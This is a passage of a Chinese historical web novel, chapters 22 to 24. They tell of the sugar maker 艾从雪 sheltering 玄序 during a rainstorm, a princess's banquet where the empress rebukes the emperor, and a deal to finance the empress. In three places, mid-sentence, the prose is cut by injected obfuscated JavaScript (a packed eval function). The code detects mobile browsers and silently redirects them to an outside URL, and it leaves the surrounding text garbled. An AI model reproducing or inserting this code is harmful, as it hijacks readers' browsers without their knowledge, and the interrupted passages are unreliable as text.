“庄周梦蝶。”李迎秋松了口气，默默低头说了句，“原是我想茬了。” “你啊，心眼可是比不上华儿，好好教这孩子。”燕岚看着小丫，仿若看到了大皇子。 二人一样残缺，只不过，天生眼盲的皇子，寓意着不祥，他或许是上天的惩罚。 若不是燕恒，她这后位可就不稳，也是燕恒，让她未来的路不稳。 燕岚眯起眼，燕家当初可是靠她撑起来的，如今亦是。 她的目光透过小丫看向她身后的并蒂莲琉璃瓶，这是燕恒送她的生辰礼，只是其中插的花早就枯萎。 燕岚与丞相乃双生子，两人幼时父母双亡，在群狼环伺的燕家夺得家主之位，成为华朝最大的权贵。 如果没有燕家的财权，赵启无法登上皇位，甚至于说，赵启在位近二十年，只有皇后所出的两子。 想起这，燕岚又不由得一阵头疼，摆手命几人退下。 李迎秋点头称是，带着小牙丫离开，心中还想着自己输燕华一封信之事。 回到住处，让丫鬟给小丫收拾准备，自己则是提笔写信。 每日夜晚，都能看到李迎秋点着烛火，在宣纸上写写画画，小丫都已经学完一本书，李迎秋的信还未写完。 半月后，院内的四季兰全都换成了寒兰，燕华等不及来催，才就此搁笔。 这半月来，京城糖会稳步发展，而艾家则是专心制糖霜。 小丫一连去了那么多日，许巧兰还是有些担心，艾从雪正准备去成王府问问情况。 万柳却是差人来请艾从雪。 “我家老板抽不开身，还请艾娘子去一趟。”听雨楼的一伙计说道。 “麻烦了。” 正好艾从雪要去成王府，也就顺带去听雨楼。 寒风凛冽，虽说还未到结冰的温度，这歹毒的风仍是让人忍不住再加几件衣裳才好。 听雨楼从上到下弥漫着热情洋溢的氛围。 “阿姐是有何事？” “公主宴会，点名要咱听雨楼的糖霜雪梨。”万柳眉飞色舞，畅想之后听雨楼独占鳌头的模样。 艾从雪从中发现商机，询问道：“那岂不是要很多糖霜？” “自然，否则我也不会特意把你叫来了。当真是我的福星。”万柳笑得嘴角都压不住。 “具体要多少？”艾从雪细算着糖霜的产量。 “应当不只是糖霜雪梨。”万柳语气一顿，似是在思考，“起码也要四五十斤。” “四五十斤糖霜？”艾从雪瞳孔骤缩，对于这个数量，颇为震惊。 “是封公主的大型宴会。” 艾从雪思索着，缓缓开口道：“这刚要停战就封公主，这是要和亲？” 万柳点点头，不置可否。 “阿姐可知这公主是哪家闺秀？” “听人说，好像是皇后身边的人。”万柳说着又从小厮手里接过一物。 “不是李娘子吧。”艾从雪心下一骇。 “这怎么可能，李娘子可是成王府嫡女，于情于理都不可能是她。” “那就好那就好，孩子刚找到老师，要是出这事，那真是……” 艾从雪长叹一口气，又继续道：“只是，若是宴会要四五十斤糖霜，听雨楼可能就不能供了，眼下产量还是不太足。” 万柳拍拍艾从雪的肩膀，顺势把刚刚的荷包递给艾从雪，说道：“以宴会为重，我这听雨楼到时候还要打着公主名头呢，这是宴会的定金。” 艾从雪握着荷包，眼尾微弯回道：“阿姐果真是目光长远，今后保准能压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462663|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月来酒楼一头的。” “这话我爱听。”万柳眉梢高挑，哈哈一笑。 艾从雪从听雨楼离开后便去成王府传了信。 只是天连阴数日，沉闷的气氛令人心烦意乱，虽说公主宴会是个扬名的好机会，但艾从雪心中惴惴不安。 艾升荣的腰已经好的差不多，她便发动全家，趁着糖户回家，把艾家地窖中的糖浆全都运到了新庄子里。 “今后就住到这里吧，前院制糖，后院住人。”搬完最后一车后，艾从雪对着林晚和艾升荣说道。 “会不会耽误制糖？”艾升荣问道，有些害怕制霜糖与制赤糖发生冲突。 艾从雪一拍脑袋：“忘了这事了。” 看着地上的糖思索许久，才开口道：“左右过些时日天就冷下来了，先在家里弄着，等开春再搬来。 距宴会还有半个月，如今糖霜大头在这，应当是没问题。等宴会完，再说其他的事。 我和许姐姐在这轮班看着，图南这几天你就先在家制糖。” “好。”庄图南点点头，她一向不会违背艾从雪安排。 李迎秋得到消息后，特意给小丫放了天假。 小丫天资聪慧，长得虎头虎脑，颇得燕岚欢心。 只不过这几日忙着燕华和亲封公主之事，没怎么和小丫接触，也正好李迎秋得空带小丫回了趟家。 “阿娘！艾娘子！”小丫还没进门就喊出了声。 “让我看看是谁来了？”艾从雪正在搬陶罐，正巧着看见小丫进门。 “小丫可想死阿娘了。”许巧兰一把抱住小丫，她们母女还从未分离这么长时间。 “李娘子也来了。”艾从雪放下陶罐行礼道。 李迎秋扫了一眼这里，感慨道：“这制糖可真是个苦活。” “都难的，制糖还算好些。”艾从雪低声应和。 “殿下只准了小丫一天假，好好玩吧。” 许巧兰此时却突然跪拜：“多谢皇后隆恩。” 艾从雪有些不明所以，眼里满是疑问。 李迎秋却面不改色道：“殿下喜欢小丫，特意令太医给她调理身体，虽说跛足无力回天，其他的还是能看看的。” “是啊是啊，阿娘不要担心。”小丫扶起许巧兰，笑嘻嘻地说：“孙子膑脚，仍能写出著作。我最起码还能走路呢。” “几日不见，小丫懂那么多典故了，真是让我刮目相看。”艾从雪随声称赞道。 许巧兰抿唇，又对李迎秋行了一叩拜大礼：“多谢李娘子。” “不必如此多礼，还是小丫聪慧，在下先行告退，好不容易休息一天，我就不叨扰了。” “我送您。”艾从雪上前一步。 “艾娘子这京城糖会的牌匾不错。”李迎秋站在门口看着那金光灿灿的牌匾。 “不过是小打小闹而已。”艾从雪定住脚步，与李迎秋一起望向那处。 “艾娘子谦虚了，只不过，这恐怕会损皇商利益。”李迎秋转身上了马车。 艾从雪总感觉李迎秋意有所指，把教给糖户熬煮赤糖之法提上了日程。 22. 暴雨 是夜，许巧兰与糖户们都回了家，艾从雪一个人守着庄子。 这几天气温骤降，即便艾从雪的床上多铺了层褥子，夜里还是被冻醒。 刚睁开眼就听见院子里的动静，顾不得什么，立刻套上衣服冲出门。 雨滴落在脸上凉得发颤。 院中角落还放着大批甘蔗，棚子里还有没来得及熬煮的数桶甘蔗汁。 那棚子是木头撑起来的，不知道能否撑住这大雨的攻击。 来不及细想，这雨来势汹汹，艾从雪把油灯放在走廊，借着微弱的光一手一桶就提着往屋中运。 一桶甘蔗汁不知碰到哪，上面的盖子摇摇欲坠，艾从雪急着俯身去扶，右腿重重磕在井沿上。 “嘶。” 生理性的泪水不自觉流出来，忍着痛意把手中的甘蔗汁提进屋中，伸手轻碰了下那处，怕是明天要肿了。 这一撞，才想起下雨不止是能打伞，屋里还有斗笠，立刻翻出来戴在头上。 “这鬼天气。” 艾从雪在屋檐下被冷风吹得直打哆嗦，眉头紧皱，心止不住的乱跳。 嘀咕了几句，还是认命的冲进院子，去抢救前日里新买的一批甘蔗，不然可是要亏好大一笔钱。 这雨一时半会儿停不了，艾从雪一时半会儿也没办法把堆积在一起的甘蔗都运进屋。 当时图方便，直接把甘蔗都堆在了墙角，眼下可是吃到了苦果。 放甘蔗都地方太远，思来想去也就门廊可以利用，这宅子的门廊地方大，正好可以用来遮雨。 艾从雪护着油灯，又把它放在门廊。 身上早就被冰冷的水浸透，艾从雪被冻得一激灵。 好不容易把甘蔗都堆在了大门边，刚准备坐下缓口气，门外却传来了其他声音，是与雨滴落在地截然不同的声调。 这恶劣天气，还是大晚上的，谁还能找到这？ 艾从雪大着胆子问了句：“谁啊？” 没有人回应，艾从雪有些奇怪地从甘蔗堆里挤到门口，蹑手蹑脚推开了门。 “玄序？” 艾从雪差点以为自己看错了，眼睛瞪得老大。 “你怎么在这？”话刚问出口，就见蹲在角落的玄序抬起头看向她，衣发尽湿。 借着微弱的灯光，她看见玄序鬓角的水滴划过面颊，又滴落入衣襟。 玄序鼻尖还停留着一颗晶莹的水珠，恍得艾从雪挪开了眼。 玄序见被艾从雪发现，眼底闪过一丝窘迫，抿唇解释道：“查案子，不曾想突然下雨，想到这有处院子，便来这儿避避雨。” “那还挺巧。”艾从雪笑着说，“那进屋吧，正好我这忙着，就当是玄大人交借宿费了。” “不过，到里屋这段路没有伞，还请大人跟着我再淋一小段路了。”艾从雪插上门，对着在甘蔗堆无处放脚的玄序道。 玄序点点头：“多谢。” 二人又是冒雨冲进屋内。 “你先在这待会儿。我去看看地窖。”说完艾从雪又戴着斗笠进了院子。 玄序看着她的背影，嘴唇嗫嚅，伸出手，却握拳又收了回来。 在原地等了好一会儿，艾从雪才回来。 艾从雪方才是去放糖的屋子那，查看一下赤糖与糖霜的储存情况，见都好好的，只是轻微潮气，这才放下心，回来准备换衣服，却看见玄序还在那傻愣愣得站着。 “你换衣服吗？” 艾从雪边问边进屋在箱子里翻找，也不管玄序的回答，翻出套旧衣物，扔给玄序道： “我阿爹的衣服，前几日刚搬过来的，都洗干净了，你凑合着穿。我去旁边屋换一下，你先在这儿待着，等会我来找你。” 玄序有些怔愣着拿着那身衣服，身上衣物紧贴身体，充满冰冷与不适感，最终还是脱下了湿透的一身黑衣。 露出白皙的背部，肌肉线条流畅，仿佛精心雕刻的白玉一般，只是几道狰狞可怖的陈年疤痕毁了这温润的白玉，给他带来几分阴翳。 另一边的艾从雪飞速换了身衣服，长舒一口气，在玄序门口道：“好了没？” “好了。”玄序拉开门，看着门口艾从雪道。 艾从雪看着他的模样，唇角一勾：“玄大人真是美若天仙，平日里一袭黑衣掩盖了大人的风姿，现在一看真是让寒舍蓬荜生辉。” 玄序一向不喜欢别人谈论他的容貌，眼下被艾从雪称赞，却觉得这张引来无数非议诋毁的脸也是有些用处的。 碧绿眸子与艾从雪黑夜般的眼睛对视：“艾娘子喜欢？” 这话一出，艾从雪笑容渐失，罕见的沉默了，似是没想到他会这么问，眼神躲闪，避重就轻道：“爱美之心人皆有之。” “不过我看你头发还是湿的，方才还淋雨了，你先和我到屋内生个火。免得明日得风寒。” 艾从雪说完就快步走到煮糖的屋子里，拿着火折子就要点火。 玄序跟进来，看见艾从雪干锅点火，问道：“不往锅里放点水吗？” “嗯？”艾从雪抬头看向玄序，“忘了，劳烦大人帮我加点水。” 玄序从水缸盛出几瓢水倒进锅中，对艾从雪道：“我来吧，等火升起后你也烤烤。” 艾从雪乐得做个甩手掌柜，坐在一旁有一搭没一搭地聊着：“若不是我发现了，玄大人是不是要在门口坐到天明？” “等着雨小一些就回去。” 艾从雪正准备出门看看雨势，刚站起身就被疼得倒吸一口凉气。 这会儿放松下来，才想起腿上的伤。 玄序注意到艾从雪的动静，抬头看向她：“怎么了？” 艾从雪又坐回原处，揉着腿道：“你没来之前搬东西撞到了，明日应该就好了。不说这个了，你查的什么案？怎么还能跑到我家这边？” 玄序心思显然已经不在这：“你的腿要不要抹药？” “我没事，玄大人那么关心我，真是让民女受宠若惊。” “不是。” 艾从雪捂着心口，矫揉造作，蹙眉道：“这可让我伤心了。” 玄序瞥了艾从雪一眼，继而垂下眸子：“来这查孙群踪迹，他辞官后就没了踪影。” “这可是大事，大人这次找到了？”艾从雪听见是孙群的事，来了兴趣。 “没。” “那祝大人早日找到孙群。”艾从雪脸上略微失落，看着玄序熟练的动作道，“看不出来，玄大人还会烧火。” “小时候学的。” 艾从雪想到万柳给她说的事，噤了声，没再问。 只是他不问，玄序却仿佛不当回事一样，说道：“当年在流民窟时，都是我烧火做饭。” “你还会做饭？” “流民窟也没什么饭，烂菜叶子什么的都是生吃，只是阿娘喜欢吃热的。” “吃热的挺好的，健康。” 艾从雪这个非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478223|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擅长接话的人，此刻也不知道说什么了，拘谨着回应。 火焰明晃晃的，映得二人面色微红。 玄序神色黯淡，喃喃道：“可是她死了。” “你已经替她活着了。” “我不配活着，我连凶手都不知道是谁。”玄序攥紧拳头，指尖发白，面上划过一丝脆弱的神情。 玄序他娘是被杀的？艾从雪心下一骇，随后轻拍他的肩膀，安慰道：“一定会找到凶手的。” “但愿吧。” …… 雨下了整整一夜。 声音太大吵得也睡不着，二人索性围着灶火坐到天明。 这天降灾祸，真是让人束手无策，只是这雨越下越大，到了后半夜甚至没过鞋底。 直到第二天中午才堪堪放晴。 这里地势高倒是没什么事，艾家地势地势低洼，怕是要出事。 只是艾从雪腿肿得厉害，回不了家，不知家里怎么样。 她只能安慰自己，艾升荣这些天腰也快完全康复，家里最少三个人在，应该是没事的。 “真的没事吗？”玄序看着艾从雪强撑着起身，艰难挪动的样子，手不自觉地想要扶住。 艾从雪摆摆手，示意自己没事：“可能要拜托玄序大人一件事了。” 玄序收回手，回道：“什么事？” 艾从雪脸上扬起笑，说道：“还请大人看看艾家有没有事。” “好。”玄序看了她一眼，转身离去。 艾家地势低洼，这水想必都能淹到脚踝，加上如今气温低。 艾从雪是越等越焦虑，等了好久，没看见玄序回来，倒是见到林晚他们三人。 林晚还没进门就喊道：“雪儿！” “阿娘！”艾从雪一瘸一拐地走出屋。 林晚在雨开始下时，就心中恐慌，要去找艾从雪，庄图南陪着她，只是留艾升荣一个人在家也不好。 三人便一起出了门。 没想到这雨越下越大，几人困在了一处亭子处，待了一夜，才被宫中派来的人救走。 艾从雪问道：“你们怎么来了？是玄序让你们来的吗？” 林晚过来扶住艾从雪说道：“来这儿的路上碰见玄大人了，他说你在庄子受了伤，我们便立刻过来了，是伤到腿了？” “昨日本想着找你去呢，没想到这雨越下越大，困住了。”艾升荣见艾从雪受伤，眼泪又是不争气地流了出来。 林晚白了他一眼：“还不快去请大夫。” 又对着艾从雪道：“是被官府的人救下来的。” “官府？” 官府的人去救他们这些人？艾从雪眼底晦暗不明。 “本来以为要困在那好久，没想到第二天就被找到了。还好如今不是夏季，否则，这洪灾是要把所有人都淹死才不罢休。” “可看清是哪个部门的人？” 一直没开口的庄图南出了声：“皇后的人。” 艾从雪的目光钉在庄图南身上。 林晚没看出不对，说道：“不说这了，雪儿你的腿怎么样，让阿娘看看。” 艾从雪听话地掀开衣服，小腿青紫一片，十分可怖。 “你阿爹怎么还不回来！”林晚一见这情形，急得团团转。 “就是看着吓人，没伤到根骨。”艾从雪讨好一笑，有些心虚。 等到大夫给艾从雪看完，林晚艾升荣二人才算是放下心。 23. 坦白 大雨过后，皇后爱民如子的美誉响彻京城。 “你家得到补助了没？”刘二自从当了组长，那叫一个负责，他记得王老汉家里贫穷，特意询问。 “得了，得了。皇后娘娘真是宅心仁厚。”王老汉呵呵一笑，指了指身上的衣服，“这身冬衣还是我去领的呢，我家小孙也有一件。” 他满是皱纹的脸上炸开了花，笑道：“眼下跟着艾娘子，也能挣上钱了。人家都抢着要老头子的糖嘞。” “那就好，本来我还担心孩子的病来着，现在挣上钱，我是放心了。” 艾从雪则是在屋外与其他人一起榨甘蔗，前几日暴雨，许多甘蔗废了，得多榨些补产量。 门外传来马车撵过土地发出的响声，艾从雪停下手中的活，进屋去喊许巧兰：“许姐姐，小丫应当是来了。” 许巧兰立刻把手中的勺子塞到旁边人手里，拍了拍衣服就冲出房门，推开大门，就见到小丫被扶着下车，伸手抱住小丫：“可算是回来了。” “阿娘，前些天的大雨，你没事吧。”小丫紧紧环住许巧兰的脖子。 许巧兰脸贴着小丫的脸：“没事，没事。” “这位是？”艾从雪跟在后头，发现今日带小丫回来的人不是李迎秋，而是个带着面纱的陌生人，只露一双桃花眼。 “久闻大名艾娘子。”女子微微颔首，直勾勾看着艾从雪回道。 许巧兰察言观色，适时抱着小丫进了屋。 女子眼带笑意，继续道：“在下燕华。” 艾从雪立刻扬起笑容，宫中姓燕的，可都是不简单的人。 “燕娘子请进。” “不必了。”燕华推辞道，“此番前来，是想邀请艾娘子参加我的宴会。” 艾从雪眉心一跳：“宴会？从雪恐怕身份不合适。” “无妨。”燕华让贴身侍女拿出一红色缠枝木盒。 “这里面是衣物，十日后会有人来接你们。” 艾从雪推辞不过，接下木匣，道：“多谢公主厚爱。” “还未封号，不必称我为公主。” 待进了屋，艾从雪才打开盒子——一女装一男装，男装的身量，显然是照着庄图南制作的。 女装略有些宽松，想来是不清楚她的具体尺码。 艾从雪盖上盒子，叫出在院内制糖霜的庄图南。 她没有说话，只是看着庄图南眉尾狰狞的疤痕，那视线看得庄图南万分不自在，询问道：“艾娘子有何事？” 艾从雪这才缓缓开口道：“周清？” “嗯。”庄图南抬眸与她对视，没有否认，似是早就知道艾从雪会这样问。 艾从雪站起身，打量着面前的庄图南，自己身材本就高挑，但庄图南这些日子也是抽条般长个，如今与自己差不多高。 “你家怎么没落的？” 事情已然如此，隐瞒不过是掩耳盗铃，庄图南眼尾微微泛红，张了张嘴，：“周才良受贿，全死了。” 艾从雪早就从玄序嘴里得知这陈年旧事，她想要的不是这个回答，挑眉看着她：“所以？你要投靠皇后？” “灭门之仇，不能不报。”庄图南指节攥得发白，咬牙道。 “当年是孙群行刑，那么说，孙群是皇上的人？” “应该是。” 艾从雪轻笑一声：“那我还真是沾了你的光，抱上皇后这条大腿了。” 又指了指桌上的盒子：“里面有你的衣服，想必你已经和燕华见过面了。” 庄图南松了口气，解释道：“大雨被困时，是她带着侍卫救下的我们。” “那看来她对我有恩，无论她真正目的是什么，我艾从雪不是恩将仇报之人。”艾从雪回忆起大雨那日的事，继续问道：“玄序和皇后什么关系？你知道吗？” 庄图南紧抿双唇，有些犹豫，不知该不该说。 艾从雪就静静地看着她，直到庄图南嘴唇嗫嚅几下：“周才良应该是知道的，不过他早死了。” 艾从雪见没有眉目，又换了个思路询问：“那剩下的，夹在皇后与皇上之间的，只有孙群？” “应当是。” “你会走吗？什么时候？”艾从雪扫了庄图南一眼，就算自己没捡到她，想必庄图南也能凭自己能力投奔皇后。 “公主和亲后。” 艾从雪自嘲一笑：“知道越多死得越快，我如今知道那么多秘密，怕是活不久咯。” …… 几日后 艾从雪与庄图南身着华服，上了燕华派来接人的马车，车上还有一侍女，桌上摆着些金银首饰。 “奴婢帮您钗上。” 人靠衣装佛靠金装，不说艾从雪本就容貌清丽，配上这华服首饰，更显华贵。 只是，这一头的装饰，颇为难受。她看着庄图南的造型，真是无比羡慕。 “请。”，到达宴会地点后，侍女把她俩引到一处座位。 眼下人还没到齐，艾从雪百无聊赖地坐在桌前，昏昏欲睡。 一道目光射向她，刺得她一激灵，抬头看向来源。 玄序不知道何时入的座，正在看着她。 艾从雪回以一笑。 庄图南却是被盯得不自在，悄声贴着艾从雪耳朵问道：“玄序今日怎么回事。” 艾从雪撇撇嘴：“谁知道犯什么病。” 心道：说不定是知道我要踢开他投奔别人。 宴会人逐渐到齐，各个交头接耳，艾从雪与庄图南二人位置偏僻，并没有引得众人注意。 忽地，交头接耳的众人噤了声。 皇上皇后手挽着手来到殿内，一副伉俪情深的模样。 宴会众人皆起身跪拜，艾从雪也不例外。 燕华是这场宴会的主要对象，坐在左首，艾从雪远远地望着她对面的两位。 一位少年意气，却是有些瑟缩的模样。一位目绕绸缎，想来是那个眼盲的大皇子。 这二人与燕岚真是一个模子里刻出来的，任谁见了都能认出这是母子。 听闻燕岚与当今丞相燕恒是双生子，燕恒克己奉公、忠君爱国的名声举国皆知，没想到燕岚野心那么大。 外甥像舅，艾从雪不用看就知道燕恒是何模样。 正想着，人群中站出一人，艾从雪轻哼一声——这怕不就是燕恒。 “圣上励精图治，胸怀宽广，喜得公主，臣在此送上贺礼。”燕恒拍拍手，侍女们鱼贯而入，端着一水儿的奇珍异宝。 艾从雪心下戚戚，这东西可都是有钱都买不到的，艾家还未破产时，就说那侍女端得盘子，都是买不到的。 看着那些珍品，艾从雪有些牙酸，低下头，专心致志地品尝这皇室宴会的雨前龙井。 小丫不知道能不能来，她刚刚看了一圈没看见李迎秋。 茶香飘飘然溜进鼻腔，青涩甘甜，回味无穷。 一道雄浑的声音从上方传来。 “这是成王府送给公主的礼品，听闻公主喜书画，这是前朝大家的孤品。” 艾从雪远远瞧着，画上似乎是骏马？她是个门外汉，看不出什么门道，只能依稀数着画上有马有草的，生机勃勃。 又看向对面的玄序，一点动作都无，不会是没准备东西吧？ 台下却响起窃窃私语。 “这，成王这是？” “请陛下以民为本，重民生。” 燕岚早就走下来，跪在赵启面前，如泣如诉，情真意切。 这一句话一出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515257|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，厅内所有人头埋得一个比一个低。 艾从雪感受到整个大厅的氛围，心道：终于开始正事了。 “陛下举办宴会，劳民伤财，如今京城刚刚发生水患，如此铺张浪费，恐会生怨。” “不过是场宴会，哪里铺张了？”赵启手重重拍在桌子上，那力道响度，仿佛再重一分桌子就要散架。 燕岚跪在地上，腰挺得笔直，声音响彻整个大殿：“燕相送的蛟纱，沿海渔民一年产不出一丈，那镂金缠丝金冠更是费时费力，价值连城，取之于民用之于民。 这宴会菜品皆是快马加鞭运来的最新鲜的食材，这公主最爱的糖霜雪梨，更是劳民伤财。费了多少时日，才能得到这一丝。 听闻前日制这的糖户家还被水淹，陛下，如此下去，恐生变故！” “荒唐！”赵启抓起桌上酒壶就砸向燕岚。 燕岚不躲不避，任由尖锐的酒壶砸伤自己额角，血迹混着酒水，顺势流下。 “殿下！”一直在燕岚身旁的怀青惊呼出声，接着以头抢地，磕得一声比一声响。 “陛下请放过皇后殿下！”声如杜鹃啼血。 “父皇，还请饶过母后！” 太子见燕岚直着跪在地上，也慌乱求饶。 “陛下。”燕华仰头看向赵启，眼里没有丝毫敬畏，“陛下若是不信，可亲口问问那糖户，以小见大，方可知道这全城百姓是何处境。” 赵启见局势失控，皱着眉头说道：“来人，把那糖户押过来！” “我已邀请她来此宴会。”燕华镇定自若回道。 赵启冷哼一声，嘴角勾起一抹嘲讽的笑，看着跪在地上的燕岚，咬牙切齿道：“真巧。” 艾从雪见要自己上场，走出人群，俯首跪地道：“拜见陛下，民女就是那糖户。” “那你说说，皇后所言是真是假？”赵启的声音阴冷如蛇，缠住艾从雪脖颈。 她深吸一口气，现在说错一字就可能会死。 赵启不会杀燕华，也不会杀燕岚，若是此刻说错，死的就是自己。 “皇后说的是真的。”艾从雪镇定答道，接着不等赵启开口，又说道：“玄大人可以作证，那日玄大人与民女在一起。” 众人目光齐刷刷看向一直在隔岸观火的玄序。 玄序没有动作，反倒是用筷子夹了一青菜送进嘴里。 赵启盯着他：“玄序，你说，她说的是不是真的。” 自玄序在监察司案宗发现的孙群案子的蹊跷后，便一直在调查，眼下马上有线索，皇后不能出事。 不过，艾从雪这翻脸不认人的情形让他有些别扭。 玄序慢条斯理地整了整衣服，上前几步，衣摆一甩，双膝跪地道：“是有这么一回事。” 见他这么说，艾从雪松了口气，这倒是省了自己自证的麻烦。 “好！”赵启大笑一声，笑声像那日的雨，声势浩大，却不伤及根骨，甚至帮了燕岚一把。 “是朕错了。”赵启手拍在桌面，站起身看着燕恒，“燕家，都是好样的。” “陛下！”燕恒也跟着跪下，“臣之忠心，天地可鉴。” 赵启走下台，手搭住燕恒的肩膀：“好一个天地可鉴。朕是皇帝，所有人都应该臣服于朕。” 又扶起玄序，笑着道：“朕对你很失望，你不要忘了，是谁提拔的你，是谁给了你生命。” 虽说玄序是赵启的孩子早就不是什么秘密，但这大庭广众下被赵启说出来还是引起不小的轰动。 “是我母亲。”玄序毫不畏惧，碧色眸子看着赵启。 一直跪得笔直的燕岚，听见这话眉头一皱，握紧了身旁怀青的手。 赵启气得拂袖离席，这场宴会也就不了了之。 24. 资金 艾从雪不知道自己是怎么回到家的，一路上心惊胆战，草木皆兵，生怕哪个方向来人把自己灭口。 此番下来，自己当真是在京城权贵之中出了名，虽说知道自己跟着皇后弄出那么大阵仗，皇上在众口悠悠之下必不会轻易杀了自己。 “没事吧？”庄图南见艾从雪面色不好，询问道。 “无碍。”艾从雪摇摇头，车是皇后的车，庄图南是皇后的人，自己说一句有事，下一秒就能进皇后耳朵里。 要想活命，只能证明自己的能力。 “公主和亲，你会走吗？”艾从雪问出了自己一直想问的话，庄图南出身武将世家，一身本领做不了假。 至于她爹和皇室的弯弯绕绕，暂且不说，眼下庄图南跟着燕华一起，倒是个好去处。 庄图南看了艾从雪一眼，点点头。 没想到刚到家，皇后的赏赐也跟着来了。 “呦，这东西，皇后真是大手笔啊。” 世人逐利，艾从雪也不例外，这一箱箱的金银珠宝抬进家中，此行当真是没有白去。 “我这买命钱还挺多。”艾从雪笑得合不拢嘴，仍不忘调侃一番。 将这些东西全都通过侧门搬进后院，先前来人时的阵仗就引得糖户们出来看热闹，眼下更是惊叹。 原先有些坏心思的此刻也歇了。 这样一来，艾从雪算是抱上皇后这条大腿，她的制糖产业也是蒸蒸日上。 确实许久没见玄序，艾从雪看着玄序给自己的令牌，想起之前他威胁自己的话，与宴会上的言论，摇头轻笑。 她大胆猜测，玄序与皇后之间并无深仇大恨，况且自己也陷入险境，凭先前对话中玄序对赵启的态度也能看出，玄序对赵启心中是有怨的。 但赵启究竟干了何事？ 玄序母亲流落流民窟，无人去找不说，为何后宫之中无一所出。 要知道，赵启贪花好色，可是有不少妃嫔。 皇后做的吗？艾从雪并不介意用最大的恶意揣测自己如今的金主，不过，具体经过恐怕还要细想。 事已至此，先睡觉吧，已经确定死不了，那就没有天大的事。 京城糖会紧锣密鼓地壮大，背靠皇后，更是发展迅速。 此外，听雨楼似乎也成了李迎秋传递信息的地方。 一日，艾从雪去听雨楼时，竟是见到个万分不可思议的场面。 李鸣铮跟在万柳屁股后头，亦步亦趋，神色讨好。 万柳则是十分不耐烦，连着艾从雪进来都没注意。 “阿姐，这？”艾从雪若有所思询问道。 “不用管他，要饭的。”万柳翻了个白眼。 李鸣铮听见这话，扯着嗓子嚷嚷：“我不是要饭的！” “她叫你阿姐，我也要叫！” “滚一边儿去。” “那我叫你什么？柳儿？” “叫阿娘。” “不行，不行，我阿娘还活着，叫你小娘怎么样。” 看着二人诡异的氛围，艾从雪瞠目结舌：“你们到底怎么认识的？” “小爷的事，别乱打听。”李鸣铮耳朵一红，虚张声势道。 万柳推了李鸣铮一把：“前日里大雨，来我这要饭来了，谁知道这世子爷身上分文没有。” “那你们先聊，我上去找人。”艾从雪轻轻一笑，远离这个是非之地。 李迎秋就在厢房等着，见艾从雪进门说道：“东西都收到了吧，殿下先前没有告知计划，让艾娘子难堪了。抱歉。” “无事，皇后殿下真是大手笔，赠与从雪那么多钱财。” 李迎秋眼底划过一丝悲意：“殿下想与你做一笔交易。” “什么交易？”吃人嘴短拿人手软，艾从雪收下那几箱金银后，已经成了皇后忠实的后盾，“从雪能做到的，必然会做。” “月来酒楼原先是燕家的产业。”李迎秋缓缓开口诉说，“是殿下给大皇子的，酒楼背后靠皇商经营。只是……” “如今燕家家主是燕丞相，燕家虽经历过大清洗，但是老古董们态度强硬，不肯把产业交给不是燕姓的人。” “燕丞相有孩子吗？” “燕相不惑之年，并未娶妻。” “怪不得……”艾从雪喃喃道。 “所以如今，燕恒和殿下？” “貌合神离。” “殿下和陛下也是如此。倒是燕恒忠心耿耿对待赵启。”李迎秋慢条斯理地说着，“人家看不看得起他还不知道呢，真是圣贤书读多了。” “如此，皇后是想借我之手，积累财富？”艾从雪看着李迎秋道，“只是，我虽对自己制糖技术有自信，但是若称能为皇后助力，或许有些望尘莫及。” “有能力就好，至于其他的，殿下会为你铺路，只要能压过燕恒，斩掉赵启的左膀右臂。剩下的一切，你不必担心。” “殿下好手段。”艾从雪拍手鼓掌，“艾家收了殿下那么多好处，自是不会背信弃义。只是那玄序……” 艾从雪注意到李迎秋正提笔画着一幅画，显然是那日宴会上成王所献的那幅，轻笑一声道：“他好像不是和殿下一心吧。” “这你不用担心，待真相大白，他自然会投向殿下。不过是殿下心软罢了。” 艾从雪垂眸：“所以，李娘子敢在玄序阿姐这与从雪见面？” “这是其一，其二是找我那不成器的弟弟。”李迎秋并不想多说，明眼人都看得出来，这李鸣铮是非常不成器了。 堂堂成王府世子，照惯例，是要继承爵位的，眼下跑到这来当跑堂的。 “万柳与我是旧识。” 闻言，艾从雪眼底划过一丝惊骇。 “不过你不用担心，她并不知陛下打算，不过是误打误撞发现你这块璞玉，我不过是让她隐瞒了一下我的身份。” “李娘子有心了。” 艾从雪回了家后，看着满箱金银财宝，这下财权都有，钱生钱轻而易举。 那些个糖户也屈于权势，不敢妄动，艾从雪便把教与他们糖霜制法的打算提前，只不过多了些条件——让她们的糖优先供给听雨楼，不能卖给月来酒楼。 公主宴会发生的事，传遍京城，都想尝尝这被皇后亲口承认的糖。 